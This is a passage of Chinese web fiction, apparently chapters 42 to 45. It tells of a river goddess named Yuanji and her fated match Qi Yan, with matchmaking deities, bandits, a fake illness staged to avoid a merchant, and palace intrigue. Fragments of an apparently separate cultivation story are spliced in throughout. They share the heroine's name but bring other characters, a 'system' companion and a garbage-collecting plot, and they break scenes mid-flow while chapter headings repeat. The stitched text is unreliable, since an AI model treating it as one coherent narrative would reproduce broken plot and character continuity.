他盘腿坐在了河边,伸手掐指算了算,皱眉抿嘴了半晌,心中咯噔一声:“哎呀!父母死在山匪手中,被那个臭小子多管闲事救下来了,而今死在我河里,怕是仙缘不浅呐。” 这尸体魂魄不散,只是肉身已死,若想让她醒来,重塑肉身即可。 土地神以河中活水汇成了她新的身躯,那姑娘才慢慢醒过来,睁开眼睛看向土地神的时候还有些发愣。 “醒啦?” 姑娘点头。 土地神笑着问:“你叫什么呐?” 姑娘摇头。 土地神继续笑着问:“那我给你起个名儿吧,你与水有缘,叫元吉如何啊?” 姑娘愣着不说话。 土地神装作一本正经地开口:“想不想当河神呐?” 姑娘想了想,见土地神皱眉抿嘴,一副不容拒绝的模样,她便犹犹豫豫点了头。 月老庙门前,许愿树下,满身红衣的月老喝多了些,手中正拿着吴州的神仙名册,眯着眼睛突然在河神那一栏看见了两个字——元吉。 他抬头瞥了一眼上天,果然有一道金光落下,哦了一声:“这是给山神找到媳妇儿了呐。” 于是从树根底下抽出了一根红绳,又从名册中找到山神的位置,那处的名字是个空缺,他这才想起来山神投胎去了。 找了关系问了几路神仙,好不容易才从‘京城首富’‘祁家’这两个词中找到了一个绝对不可能出错的人物,于是红绳就夹在了空白的那一栏上,等什么时候祁少爷被生下来了,什么时候再牵上去呗。 三年后。 元吉看见了祁少爷。 当天逗完小孩儿回到河边的时候还不忘给土地神说一句:“土地爷,我今个儿看见一孩子,长得那叫个可爱哟,简直好看得不得了。” 土地神正在吃西瓜,头也没抬:“哦?是吗?” 元吉连忙点头:“是啊是啊!”片刻后,她才小声地问了句:“我让他知道我是河神不要紧吧?” 土地神木勺子直接一丢,西瓜都喷出来了:“什、么?!” 这世上怎么会有这么蠢的事情?一切怎么会是巧合?哪儿有凡人想看见神仙就能看见的? 于是土地神去查了查吴州最近有无新进的人,随便一打听才知道他最近喝酒喝多了,不知道从京城搬来了一个大户人家,姓祁,家里的公子目前就三岁,浑身上下都是灵气,稍微有点儿本事的人一看就知道他不凡。 土地神连忙哎哟了两声,就去找月老。 月老又喝大了,土地神说:“我瞧见那小子了,跟以前一样,光看眼睛就知道以后又是一个惹麻烦的,怎么办?” 月老拍着土地神的肩膀只想笑:“你就是操劳的命呗!” 土地神唉声叹气地回去,月老打了个酒嗝,想起来了这新来的祁少爷就是河神转世,便按照之前与土地神约定好的,拿起姻缘簿就在元吉的后面写上了祁琰二字。 红绳签订,月老放心啦。 二十年后。  元吉暗下眸光,只因获得一人的臣服而杀了那么多人,一股无名之火涌上心尖。 她轻笑一声,像是听到了一个笑话。 元吉抬起眸子,歪了歪头,“你这么自信这阵法能困住我?” 元吉抬手,大量的白光自她指尖飞出,万线汇于一点重重砸向面前的阵法。 斗转星移,阵法快速吸收着它所能接触到的灵气。 而阵法之中,已有不少人支撑不住倒在地上失去知觉。 汹涌的力量汇入,可这阵法没有丝毫破碎的迹象,甚至越发牢固起来。 绝望在此刻蔓延,原先叫嚣着要出去的人安静下来,心如死灰地瞧着元吉的背影,寄托着最后那缕希望。 “河神大人,救救我们。” “河神大人!” “河神大人!” 一道道呼唤传入魂海,元吉心中一动。 “嗬,垂死挣扎。”那人冷哼一声,静静看着元吉如何榨干自己最后的一丝灵力。 体内的神力逐渐消散,一阵眩晕感袭上心间,元吉眼前一黑。 突然间,温热的灵力自掌心传来。 元吉倚着亓官上的胸膛,她抬眼瞧去,便见亓官上那坚定温柔的眸光。“这次,我和你一起。” 一抹笑意浮上嘴角,元吉低低应了声。“好。” 这次他们一起。 她缓缓闭上眼,在脑海中轻唤一声。 “来。” 下一瞬间,大量的“白棉花”自河神府飞出奔向元吉。 “关肃”看着元吉在脱力后竟然还能云淡风轻地向阵法中注入力量。 一息。 两息。 三十息。 一盏茶。 元吉的神情丝毫没有变化,甚至她的力量更为强悍了些。 就好像天地灵力都在争先恐后地钻入元吉体内。 看着阵法内绝望的众人逐渐期待,到现在满目崇拜的模样,“关肃”的神情逐渐扭曲起来。 这是怎么回事,她为什么还没被“榨干”! 一丝不安的情绪袭上心间,这让他顿时心中“咯噔”一下。 果不其然,阵法中的元吉百无聊赖地打了个哈欠,像是已经厌烦了这枯燥的等待。 元吉招了招手,更多的“白棉花”冲向阵法。 “咔擦”一声,阵法裂出一道细碎的裂缝。 刚被元吉告知自己喜欢上祁琰的土地神提着拐杖就来找月老。 “我要打死你个酒鬼!你在姻缘簿上写了什么?!” 难得清醒的月老有些无辜地挠了挠头:“没写什么啊。” 土地神一拐杖杵在地上:“翻给我看!” 月老翻开姻缘簿,元吉与祁琰二人早二十年前就绑在了一起,月老顿时哎呀一声:“闯祸了!一个是神,一个是人,怎么办?” 土地神捂脸简直想哭:“问我?我怎么会和你们这群磨人精们绑在了吴州哦!” 一个是流氓无赖的山神,一个是蠢笨惹祸的河神,还有一个月老只会喝老酒。 土地神觉得自己很悲剧。 红线也签了,姻缘也绑了,能怎么办? 成亲呗! 孟有道恍然回神,“哦这个啊。关儿和我在飞云城相识,我便想着在飞云城扎个根发展些势力。” “不成想刚巧穆家家主意外身亡,另外几个家族都想瓜分些势力我便趁机看个热闹。” “谁知那个穆丹臣找上我,说是合作他那边有什么配方说是能让人起死回生修为暴涨。” 孟有道身后的孟家精通丹药炼制,穆丹臣便提出由穆家提供草药,孟家帮忙炼制,到时候获得的收益二八分成。 “起死回生?!修为暴涨!我的个祖宗诶!”夜文术倒吸一口凉气,这任何一个拿出来,不得让各宗门修士抢破脑袋! 元吉心中总觉得哪里不太对劲。 “那丹药,你身上可有?” 第 42 章 第四十二章 第四十二章 “你说那个丹药啊。”孟有道思索片刻,从怀中掏出数十个小瓷瓶翻找起来,“喏,都在这了。” 孟有道将装有三颗丹药的白瓷瓶递给元吉,并没有因其特殊功效而私藏。 “这是他先前给我的,我一直随身携带着。” 说起来也巧,他本来是听闻最近穆家人往忘川境内派了许多人手,就是想过来凑个热闹,没想到还真能瞧见穆丹臣的秘密。 也不知是不是因祸得福。 祁琰与鹿蜂寨做了买卖,有一点倒是让鹿蜂寨的人很放心,则是每一趟货上山时,祁琰都是亲自出面的。 祁琰的米粮虽说比市面上的贵,但是看陈色都是新米,这倒是让凉寨主对他更加看好了几分,而且凉寨主与祁琰一直都是一手交钱一手交货。米粮入了仓库,祁琰才带着银子走人,且分毫不差,也不拖沓。 将米粮给了鹿蜂寨后,祁琰便回到了客栈。 元吉问过祁琰,这大批优质的米粮运上鹿蜂寨当真没事吗? 祁琰道:“不过是要将他们养的懒散些,然后走入我设下的圈套罢了。” 元吉有些好奇:“那你当真要先对付舟山南侧的山匪?” “并非山匪,南侧的那帮并不简单,陈县令的身份也有疑虑。”祁琰道:“我现在只是要做出一个正在与南侧的那帮打斗的假象,再给鹿蜂寨传个假消息,让他们措手不及便可尽数除去。” 祁琰说完,护卫丙从外面进来,身后带着两个衣着朴素的男女,那两人稍稍有些胆怯,站在护卫丙身后的时候眼神四处张望。 护卫丙道:“这两位便是丢了孩子的刘氏了。” 护卫甲听见,便上楼将在午睡的小孩儿叫醒,领着孩子下楼,那两人见了小孩儿一家三口抱在一起,当即便哭了出来。 又是骂小孩儿不该乱跑,又是道歉为娘的没看住孩子,总之一番认亲之后,夫妻二人连忙跪下来给祁琰磕头喊恩公。 祁琰摆了摆手不接受,指着元吉道:“是她救的,我不过是帮忙看着。” 那夫妻二人抱着孩子哭了好长时间,这才让小孩儿与祁琰还有元吉作别。 小孩儿走了之后,祁琰便打开了扇子扇风,一派悠闲,脸上的笑意都扬起来了,好像解了个心腹大患似的。 元吉还有些舍不得,撑着下巴嘴里含着蜜饯,口齿不清道:“又没人陪我玩儿了。” “为夫陪你啊。”祁琰接话。 元吉瞥了他一眼,本来想给他一个白眼的,可是眼睛没翻起来,反而在对上祁琰的笑脸时,脸颊红了一下,根本不敢再多看。 于是收敛了怼他的意思,挪开视线,默默做了个深呼吸,心里一遍遍告诉自己。 祁家的少爷是流氓,祁家的少爷是流氓,祁家的少爷是流氓…… 护卫丁的眼神比较好,老远就看见了李家的家丁抬着轿子正朝这边走过来,于是给祁琰说了一声,祁琰点头,对着元吉道:“走吧,去楼上避一避。” “怎么了?李家的人来了有什么好怕的?”元吉虽然疑惑,但还是听话地跟着祁琰一同上楼。 入了祁琰的房间,他才道:“而今我们与鹿蜂寨已有联系,还要那李家做什么?他们知道的越多,反而越容易坏事。” “可是我们就这样躲着人家也不好吧?那李夫人可是把我当亲妹妹呢。”元吉心中有些愧疚。 “把你当亲妹妹?快别开玩笑了,你蠢也要有个限度啊,她看你的眼睛里只有钱,哪儿有情啊,若非你是元夫人,她会拿你当妹妹?”祁琰给元吉倒了杯水递过去。 元吉刚拿起来要喝,祁琰道:“不是让你喝的,让你洒在脸上装病的,把脸弄湿了躺床上去。” 元吉哦了一声,给自己脸上拍了一些茶水,这才发现茶是烫的,哎哟了一声,连忙止住声音,合着衣服就躺在了祁琰的床上,祁琰还给她盖了两层厚厚的被子。 元吉额头上的发丝都沾着茶水黏在了脸上,伸手拨开了些,问祁琰:“那从今日起,咱们就要和李守财断关系了吗?” “是啊,所以你待会儿可给我好好演。”祁琰说完,突然像是想起来什么似的道:“对了,明日咱们还得去芙蓉镇一趟,季老板约了我吃饭。” “季老板?”元吉皱眉:“啊!就是那个……” “嘘。”祁琰捂住了她的嘴,也不知从哪儿摸来的一张帕子,给元吉擦了擦脸。 元吉听见屋外护卫甲说的:“夫人病重,恐怕无法赴宴了,大夫说要好好休息些时日,不能吹风。” 李夫人听见这话,顿时焦急道:“啊?妹妹前两日还好好的,怎么突然就病了?我与老爷能不能进去看看?” 护卫甲有些为难,祁琰这时候道:“让李老板与李夫人进来吧。” 护卫甲这才将门打开,李守财牵着李夫人一同进了房间,看见元吉的脸红彤彤的,还有不少汗水,李夫人便道:“如何会生病啊?” “唉,前两日夫人说要赏月,夜间天气凉,说她也不听,穿少了便染了风寒,这几日又病重了些。”祁琰说完,有些心疼地伸手摸了摸元吉的脸。 元吉‘神志不清’之余,在心底骂了祁琰一句,小没良心的,分明是他要赏月! 李夫人哎哟了几声:“看来妹妹病的不轻,元老板可要好生照顾着。” “这是自然。”祁琰说完,朝两人看去:“我不能招待二位了。” 李守财牵着李夫人的手道:“不碍事,我与夫人也不好打扰,这便回去了,等元夫人的病好了些,咱们再聚。” 祁琰点头,李守财与李夫人才离开。 两人离开之后,元吉连忙喘了口气:“热死了,你床上怎会有两床被子?” 祁琰笑道:“我怕冷。” 元吉挑眉,却没想到竟然是这个原因,正要从被子里钻出来的时候,掀开被子后闻到了一股淡淡的药味儿,她又缩回了被子里,仔细闻了一下,眨了眨眼睛:“怎么会有药味儿?” 突然想起来前些日子在祁琰身上看见的伤口,于是问他:“对了,定然是你身上的伤,伤得如何了?可治好了?” 祁琰伸手撑在了她的耳侧,直接将她困在了自己的双臂与床榻之间,挑眉问她:“你担心我呢?” 元吉立刻缩进了被子里,红着脸:“我……我那是好奇。” 祁琰长长地哦了一声,然后伸手低头解开自己的腰带,速度很快,三两下就脱掉了外衣。 元吉吓得立刻从床上跳起来,缩在了床角伸手指着他:“你你你……你做什么呢?” “让你看看啊,你不是好奇吗?我这伤口可狰狞啦,上回天黑,你没瞧见,现下还是日落时分,有光的,你瞧清楚了,省得下次再问。”祁琰一边说,一边笑,还一边脱衣服。 “你耍什么流氓!你快给我穿上!”元吉立刻侧过脸不好意思,双手在空中直挥舞。 祁琰脱得只剩下一件里衣的时候,看着元吉那慌张又脸红的样子,道:“可就只有这一次机会了,下次我就没现在这么好脾气,还专门脱了给你看。” 元吉瞥了一眼祁琰,见对方正双手环胸地坐在床侧看着自己,眼底尽是笑意。 “你为什么总要这样与我说话。”元吉皱眉,有些不开心:“总说只有一次机会,人生若当真如此,也太过无趣了。” 祁琰噗嗤一声笑了出来:“我与你开个玩笑,你还能真生气啊。” 他扯开自己的领口,将心口上的疤痕露出来,那疤痕狰狞,但是与元吉第一次见到的时候一样,一看就是愈合了许久,不会再裂开的痕迹。 祁琰给她看完了,这边将衣服穿好:“行了?” 元吉问他:“上次怎么会裂开?” 祁琰叹了口气:“唉,与那偷小孩儿的打了一架,被他的刀划伤而已。” “骗人。”元吉打断他的话:“你若不想说,可以不说,别拿假话来框我。” 祁琰朝她靠近了些,只有半条小腿露在了外面。 他靠在了床角,就倚在了元吉的身边,侧过脸看着元吉那副不开心的样子,伸手戳了戳她的脸,被她一巴掌拍开。 “哎哟,还真打啊。”祁琰看了一眼自己手背上迅速红起来的四根指印,道:“好好好,怕了你了,说给你听。” 元吉侧过脸:“我已经不想听了。” “小爷说意已起,必须听!”祁琰把她给按了回去,皱着眉头道:“这道疤是在京城留的,与我上次问你的斩神剑有关。” “之前你就知道了,我有过一次牢狱之灾,平冤昭雪之后就在大皇子身边办差,当时还不知道朝中险恶,被人算计,在酒楼里喝多了酒,几个平日里与我交好的大臣把我丢入了当时不知因何原因出宫住在客栈里的公主房内。酒中下了药,我又年少冲动,公主似乎也颇为赏识我……” 元吉听到这儿,立刻皱起眉头,声音大了些:“所以你玷污了公主?!” 祁琰朝元吉看了一眼,眼神沉沉:“若我玷污了公主,你还会喜欢我吗?” 元吉先是愣了一下,心里有些难受,眼睛睁圆,憋着一口气不知道该不该吐出来,总觉得膈应得难受。 祁琰直接在她额头上弹了一下,挺响,还挺疼。 “瞧你那点儿出息,听个故事就快哭了似的,若当真看到我跟别的女人走近些你还不得水淹吴州啊?” 元吉伸手擦了一下自己的眼角,是有些湿,但是好歹没哭啊。 岳天川回想起来,只觉得满脸羞愧,他应该早些告诉众人的。 “对了,我被抓走后,我瞧见了一个人!” “谁?” “宣家失踪的少主。” “宣长生。” 门口的宣成仁突然激动起来,“你说谁?” 第 43 章 第四十三章 第四十三章 “你说的是长生?” 宣成仁兀得站起来直直地盯着岳天川,把后者瞧得后背发毛。他脸色越来越难看,从喉间挤出一句:“难道,长生他也掺和进了之事?” 话音刚落,宣成仁便身形一晃,好在孟有道眼疾手快扶了一把才没摔倒。“老爷子你这么激动,难不成认识他?” 宣成仁张了张嘴,遥远的记忆慢慢浮现在脑海之中。 “长生,是我的小孙子。” 祁琰看完了之后,回头瞥了护卫丁一眼,中间那两段他信是元吉说的,前面和后面那又是什么。 护卫丁不自觉地往后退了一步,默默移开了视线:“属下加以润色了几分。” 大皇子在对面落了一子:“祁琰有心上人啦?” 祁琰收起信件,低头看了一眼桌上的局势,哎了一声:“王爷,耍赖可不成,这两个子调换了位置了。” 大皇子皱眉,端起茶盏喝了口:“这你都看出来了,不玩儿了,总输。” 祁琰笑了笑,也记得了元吉信中的事儿,对着大皇子说:“让王爷两子也不是不成,不过王爷得答应我一件事。” 大皇子挑眉:“哦?说来听听。” 祁琰双眼微微弯起,道:“我想要三皇子的一滴血。” 大皇子瞥了一眼祁琰的心口,这个时间点,他心口上的伤恐怕还在流血呢,反正他与三皇子一没有血脉,二没有兄弟之情,取他的血给祁琰报个仇又有何关系? 于是大皇子将子落在了棋盘上,说道:“来来来,下棋下棋。” 后来护卫丁告诉祁琰元吉给他写了好几封信,不过也不知是不是信上的字不清不楚,所以没能交到他的手上。 祁琰差着手下的人往祁家的店铺里一个个打听,好在还收到了两封信件,光是看信封上那歪瓜裂枣的字迹也知道是元吉写的。 祁琰收到信后在书房研究了一早上,最多就能认出两个来,还是他的名字,其余的怎么看怎么不像。 于是他捏着信件摇了摇头,心想回去找个时间必须得让元吉把这字给练练。 也多亏了元吉找来的银票,那银票是当初三皇子一派给季老板的封口费,只是没想到季老板这么长时间也没花出去,顺藤摸瓜就能在京中找到银票的出处,再找证人就没什么难的了。 祁琰因此可以提前走上回京的行程,只是虽然三皇子的事情尘埃落定,但大皇子并没能近三皇子的身,要等到三皇子入狱的时候才能取血,不过大皇子也答应了此事,一旦取到血就立刻送往吴州。 祁琰要走时,大皇子在自家王爷府门口问祁琰:“你当真不想待在京城?而且党派之争去了三弟,日后还有谁敢拿你怎么样?” 祁琰一边牵着马一边摇头:“我的王爷哟,我可是骗过六皇子的人呐。” 大皇子摸着胡子道:“怕什么?再在王爷府住一段时间嘛,若有你助我,六弟不出两年,也定与三弟一个下场。” 祁琰嘿嘿笑了笑:“不了,王爷身边人才济济,不缺祁琰一人,而且我还得赶回吴州成亲去呐。” 大皇子这才松开了牵着马缰的手,算是默许他离开,只是在祁琰走之前问了句:“你还入京吗?” 祁琰刚上马,听见这话,干笑了两声:“为了王爷的千秋大业,祁琰此生再不入京了。” 说完这句,便与护卫甲乙丙丁一同离开,大皇子挥了挥衣袖,转身入了王爷府,伸了个懒腰打了个哈欠:“走吧,让本王去哪儿再找一个祁琰哦……” 祁琰回吴州的路上,凡是看见字迹写的好的字帖都要买上一点儿,光是字画就快比皇上赏赐的财宝多。 护卫丁问了句:“大人买这么多字画做什么呐?” 祁琰呵呵冷笑两句:“回去揪着小河神练字!写的什么东西,一个也看不懂!” 于是,现在元吉坐在凉亭里习字的字帖,全都是祁琰从京城一路带过来的,大大小小装了一车,这才不过几天而已,元吉练字速度又慢,恐怕没有个一年半载,这些都是写不完的了。 元吉看了一眼自己纸张上浓墨重笔的一个‘中’字,这么简单的字,她都写不好,非得一笔一划占满了一张纸,才能让人勉强认出来。 她抓狂地丢下笔挠了挠已经足够凌乱的头:“我要疯了,祁琰这小子要弑神呐!” 护卫丁转身掩面抹泪:“夫人,我对不住您呐……” 这厢刚在外面办完事的祁琰身上官服都没脱,昂首挺胸地走过来,看见护卫丁一个大汉在那儿哭,于是皱眉:“擦干眼泪!像什么样子!” 再看向亭子里的元吉,头上的发簪都歪了,额前还落了几缕头发下来,脸上还沾了些墨水,活脱脱一个疯子模样,不过还挺可爱。 他抿着嘴,忍笑走了过去,双手背在身后,放轻了声音问了句:“夫人练字怎么样啊?” 元吉头都不愿抬,只说:“我现在看见你就像看见了鬼,你快走吧。” 祁琰坐在了元吉的旁边,拿走她面前的糕点自己捧在怀里,然后高架着腿吃得津津有味:“还有神仙怕鬼的啊?” 元吉不理他,认认真真写了个字,而后递到了祁琰面前,祁琰瞥了一眼,虽然实在难看,但至少能认出来这是什么字了——烦。 祁琰笑了笑,拿起糕点塞进元吉的嘴里:“别烦,来吃东西。” 元吉嚼着嘴里的桂花糕,甜丝丝的,顿时眼睛一亮,朝祁琰手中的糕点瞧过去:“今早端过来我没心思吃,原来这么香甜。” 祁琰嗯了一声:“前院开了桂花,让人特地给你做的。” 元吉含着桂花糕一副可怜兮兮的脸庞朝祁琰瞧过去,祁琰哟了一声:“再练几个字咱们就去赏桂花喝甜酒怎么样?” 元吉拼命点头。 祁琰笑道:“那就写‘这世上我最爱祁郎’吧。” 元吉:“……” 低头,翻书,写字,那毛笔落在纸上,墨能染五层下去,祁琰看着眉头直皱,元吉这样子活像是与纸笔有仇。 几张纸写下来,一字排开祁琰看了一眼,虽说字迹丑陋,但是依稀能够辨认。他正在考虑要不要让不远处还在抹泪的护卫丁找个工匠裱起来,日后就挂在卧室里日日夜夜提醒元吉,元吉这边又铺了四张纸过来。 小河神铺了纸后丢掉笔就跑了,还说:“顺便送你的四个字!” 祁琰瞥了一眼,从右至左,分别是厚、颜、无、耻! 他看元吉已经跑离了这里,正准备往前院去看桂花,还顺走了盘中的两块桂花糕,不觉低头笑了笑。 然后朝护卫丁招了招手。 护卫丁擦干眼泪走过来:“大人,有何吩咐?” “找个工匠把这两幅字裱起来。” 护卫丁瞥了一眼,有些无语,片刻后问:“厚颜无耻也要裱吗?” 祁琰一副理所当然的表情:“裱!当然要裱,此乃我做人守则,夫人认可的。” 护卫丁:“……” 就见他们家大人哈哈笑着,跟着元吉的步伐朝前院去。 护卫丁掀开厚颜无耻四个字后,下面那副字倒让他眼前一亮,对比元吉一上午练的所有字迹,‘这世上我最爱祁郎’却是里头最工整的一幅。 想来他们家大人其实也都看在眼里了吧。 洛秋水等见过聚灵阵的人早就在心中掀起惊涛骇浪了。 世人都以强为尊,自然是因为这实力提升不易。若是哪个宗门有了聚灵阵,无一不是藏着掖着,哪里像河神大人这般,这要你踏入河神庙,便能享受其恩泽。 河神大人深不可测啊。 众人心中感慨万千,却见元吉风轻云淡地从屋内出来。 元吉喃喃自语一声, "天色不早了。" “该去捡垃圾了。” 众人:? 第 44 章 第四十四章 第四十四章 天色渐晚,落在枝头的黑鸦转了黑眸定定瞧着树下之人,冷冽的风中夹杂着一股肃杀之气。 元吉缓步从小路走来,枯枝被踏碎发出的声响成了此时唯一的动静。 “元吉,起风了。我们快捡完垃圾早点回去吧。” 祁琰入京去了,元吉就只能在吴州等着。 先前祁琰走的时候元吉没觉得有多难熬,顶多日子过得无聊些,但终归是舒适的。 现在倒好了,水里的鱼虾蟹知道祁少爷走了,好些开心地回来找元吉聊天,不过瞧见元吉没精打采的样子,小鱼儿也有些疑惑了。 “祁少爷走了你不开心吗?”小鱼儿晃着尾巴:“几个月前你知道他回来,头都快炸了吧?” 元吉白了小鱼儿一眼:“你知道什么啊?你就是条鱼。” 小鱼儿从水里面钻出来些,看着坐在桥边的元吉,长长地哦了一声:“看来,怕是那些小虾米说对咯。” “哪个小虾米说了什么?”元吉问它。 小鱼儿道:“前几日,我准备往环城河这边来找你,碰到些出河的小虾米与我说了你和祁少爷的事儿,你怕是真的坠入情网不能自拔了。不过这也没什么大不了,这几个月我也碰见了喜欢的鱼儿,那身上的鳞片叫个漂亮啊,我知道你这种喜欢一个人而不得的感受。” 元吉一听,从挂下来的树枝上摘了一片叶子朝小鱼儿丢过去,还带着点儿骄傲自豪的样子道:“谁说我不得的?分明是他喜欢我。” 小鱼儿一听吓了一大跳,往后缩了缩问道:“你被祁少爷喜欢上了?” 元吉哼了一声:“是啊,有什么大不了的?” 小鱼儿哎哎了好几声:“吓死我了,他那种脾气的人竟然也会喜欢人哦。” 元吉:“……” 祁琰当初真是把河里的鱼虾蟹吓得不轻,不然也不会时隔这么久,还有鱼儿能记得他的恶劣行径,甚至觉得他这种人……根本不会喜欢别人。 元吉也说不清,她虽然也很疑惑,不过她认识祁琰这么多年,心里总归是保留了一份初见他时的好感,也愿意信任他。 祁琰走了大约半个多月,元吉特地去了祁家一趟,想要听听看有没有关于祁琰的消息。 不过祁家的祁老爷与祁夫人手中并没有祁琰传回来的信件,此番祁琰入京半点儿动静也没有,元吉焦躁了好几天,最终还是写了封信,交给了每日从吴州出去的信差,让他帮忙送到京城祁家名下的某个产业中,也不知能否完整地交到祁琰的手上。 这一日,天气晴,入夏的城外尽是虫鸣鸟叫。 元吉撑着一把纸伞坐在了土地庙的前面,旁边放了一个大碗,碗里养了七八条小鱼,小鱼儿在水中欢快地游着,元吉还时不时将手中的糕点喂进去。 土地神擦了一把额头上的汗水,问她:“你送鱼来给我吃啊?” 元吉没精打采地回答道:“最近太无聊,跟小鱼儿要了八个孩子来玩儿,不是给你吃的。” 土地神啧了啧嘴:“你瞧瞧你现在的样子,就跟河水干了似的。” 元吉单手撑着下巴,眉心微皱,道:“我担心他。” 土地神清了清嗓子:“没什么好担心的,我帮你问了,那小子在京城好着呢。” “你还能出吴州啊?”元吉睁圆了眼睛看向土地神,赶忙往前凑了凑:“你怎么做到的啊?” “大地本是一体,我不过是被划分到了这儿而已,要想与隔壁临州的土地神问句话很简单,只要站在地界喊一声就行,隔壁再问隔壁,这不就问来了吗?”土地神摸了摸胡子,全然不说自己废了多大的劲儿。 临州的老土地神是个贪吃鬼,他可是把自己藏得不少好东西拿出来都送给对方了,那人才肯帮忙打听的,一路打听回来,花费也不少咯。 元吉终于有了些精神:“那你问到了什么吗?” “京中的确发生了很大的变动,祁琰暂时回不来,他带过去的人除了山匪,还有个牵扯到二十多年前皇子身世的重要人物,听京城里的土地说,他现在整日与大皇子四处奔波,布置契机,就等时机到了将三皇子党羽一网打尽,好扶大皇子上位呢。” 元吉伸手抓了抓头发:“我怎么听不懂啊。” 土地神白了她一眼:“总之是办大事儿,成败关乎国运,你且等着吧,一时半会儿回不来的。” 元吉这句话听懂了,长长地哦了一声,林中传来窸窸窣窣的声音,元吉立刻瞧过去,就见两个壮汉肩膀上扛着刀,急匆匆地走过来。 元吉立刻抱着鱼隐藏了身体,这两个人的穿着打扮一看就不普通,像是舟山上的山匪。 虽说一些小的山匪和鹿蜂寨都被祁琰给拿下了,可那舟山南侧上,与陈县令依旧有联系的夏将军,几千人的队伍可都还在,祁琰走的这些日子,她都得帮忙盯着。 那两人走过来的时候,嘴里正说着话,脸色有些难看,其中一个还懵懵懂懂的,摸不清状况。 “赵哥,你说将军让咱们找陈县令,问陈县令要证据销毁,毁的是什么证据?” 另一个男人摸了摸自己的短发,道:“还能有什么?朝中政变,三皇子最近一直被人找麻烦,京城已有风云,说三皇子并非贵妃所生,亦不是皇子,知道这事儿的人只有那几个,留着终究是个祸害。” 脚下一顿,落后的那人道:“这……这是要咱们动手吗?” “杀人又如何?依我看,这些人早就该杀了!若非是留着给咱们做掩护,又何须等到今日?” 落后的人赶忙追了上去,无奈地摇了摇头,两人脚下的步伐快了些,直往夏城的方向走。 夏城中除了陈县令知道此事,还有一个季老板,元吉的记忆中,季老板与夏将军反而是她亲眼见过买卖小孩儿的重要人物。 他们说要杀人,又要销毁证据,岂不是季老板有危险了? 土地神摇了摇头道:“善恶终有报,只不过迟了二十多年罢了。” 元吉放下了鱼碗,站起来拍了拍裙子就要跟过去,土地神连忙要拦住她:“哎!你去干什么呀?” 元吉道:“他们要去杀了季老板,季老板虽然该死,可他是重要证人,如若三皇子当真是他们买卖来的,那季老板知道一切实情,他一死,证据链中少了一条,于大皇子不利。” 土地神呵呵一笑:“你想的还真多,这与你又有何关系?” “大皇子若出事了,祁琰还脱得了关系吗?”元吉跺了跺脚,二话没说就钻进了河里,土地神没能拦得住她,眉心紧锁。 这丫头,就从来没让人省心过。 元吉猜的没错,夏将军的确是怕东窗事发,加上京中有人传信回来,说情况不利,让他赶紧动手,把过去的东西给去干净,别留下祸患,这才派了手下打两个得力干将,去陈县令那处得到季老板与知晓此事的几人,一一赶尽杀绝。 元吉跟着那两人到了县令府的时候,陈县令正在焦头烂额的应付着贾老板。 阿统欲言又止,无法反驳。 心中的气消了不少的元吉察觉到方才那几道气息越来越近,刚想起身却见那宣长生挣扎起身,一下跪在自己面前感激涕零道: “多谢前辈出手相救,晚辈此生愿为您效犬马之劳。” 元吉:……? “你也想帮我捡垃圾?” 阿统:!! 第 45 章 第四十五章 第四十五章 “元吉!不行啊!” 阿统慌忙扑过去按住元吉的手,苦口婆心道: “没有气运之子,这个世界会崩溃的!到时候我们所做的一切都白费了,元吉你可千万不能把人往河里丢啊!” 要是被其他系统知道,它的宿主一见面把书中的主角给干没了,它一定会被笑死的。 “你要打凡人啊?”元吉看着那个只有自己一个巴掌大的小人儿,心想若土地当真这个样子去,恐怕会被祁琰一脚踩进地里吧? 毕竟祁琰看上去并不喜欢土地神的样子,土地神也非常讨厌他。 土地神当然不能去打凡人,他只能插着腰原地踏步生闷气,元吉又问:“当真没有救他的办法?” 土地神道:“除非砍他的人愿意为他流血才行。” 元吉抿着嘴,问的仔细些:“怎么流血?” 土地神道:“正常人中了斩神剑都活不过一日的,除非刺伤他的执剑者能流一滴血,将血服下,应当有用。” “什么叫应当啊?” “我怎么知道?”土地神的胡子都要翘起来了:“我又没见过凡人中了斩神剑还能活的!你现在为了那个姓祁的要与我顶嘴了是吧?” “不敢不敢。”元吉撇嘴,这个方法且不说管不管用,那就算管用也做不到啊,毕竟砍伤祁琰的……是当朝三皇子啊! 元吉正在烦心之际,突然听见有人的脚步声传来,那两人正在说话,离这里不远,就准备从林子里走出来呢。 元吉只听见对话里有‘官兵’二字,顿时将自己的身体隐了去,一双眼睛盯着两个模糊的人影从林子里出来。 才看见一眼,元吉便觉得头痛欲裂。 那两个人她都见过,一个是之前拐卖了小孩儿的那人,腰上有一把大刀,就连衣服都没换,看上去与那日穿的一样,点头哈腰地对着旁边的男人说了些恭维的话。 另一个男人,便是元吉上舟山南侧,瞧见的那个似乎是当家的男人,他狰狞的五官非常凶悍,黝黑的手臂上有一个牙印。那两人越走越近,元吉几乎都快听不见自己的心跳声了,呼吸一窒,就像是被人勒着脖子一样难受。 人贩子边走边道:“谢谢夏将军肯卖我这个面子,嘿嘿。” “我是正好有事要去找陈县令,并非为你单独走这一趟,今后你在陈县令身边办差给我仔细着点儿,千万别出了差错。”那被称为夏将军的人道。 只是元吉觉得奇怪,这人分明是山匪头子,怎么会是将军? 人贩子连连点头:“是!是!小人也是没办法,在外面兜兜转转这么些年,依旧是无所获,想来事情已经过去了这么久,要是能再回到夏将军手下办差,那是最好不过了。” “过去的事,你就给我把嘴封得死死的,若要说出去一个字,我就用你腰间的刀砍掉你的脑袋!”说罢,两人便不再交谈,脚下的步伐快了些。 正好此时,两人从元吉身边走过,元吉突然觉得脖子被人狠狠地掐住了,这回不是记忆中的幻觉,而是身体本身起到的反应,与之前不同,是真正面临死亡时的挣扎与窒息感。 元吉猛地抬起头,张嘴就要痛呼出声,土地神看着她不对劲儿,拿起手上的拐杖就往她肩膀上敲,三下过后,元吉喘过起来,眼前一片泛花,黑白两色,心脏扑通扑通跳得非常的快。 她看见了水,大片大片的水,水底还有惊恐的鱼儿,一只强而有力的手紧紧底掐着她的脖子后面,她拼命挣扎,想要从水中挣脱。 然而那只手的主人死死地把她的脑袋按入了水底的沙石中,无数的气泡从水中翻滚出来,她的眼前一片模糊,除了水声和心跳声,什么也听不见。 元吉闭上眼睛,再度睁开,心跳才逐渐平复,只是脑海中的那些关于水的记忆,却也跟着一点点变得模糊了。 “原来你说的症状便是这样!”土地神在旁边直转。 元吉点了点头,抚着心口问他:“我会死吗?” “这条环城河不出问题,你是不会死的,不过方才那情况,分明是你死前身体所受的记忆又再度翻滚了,莫非那两人中,有一个是杀你的凶手?”土地神挠了挠头:“我亦不知你是如何过世的,帮不了你,你若想解决此事,还得自救。” 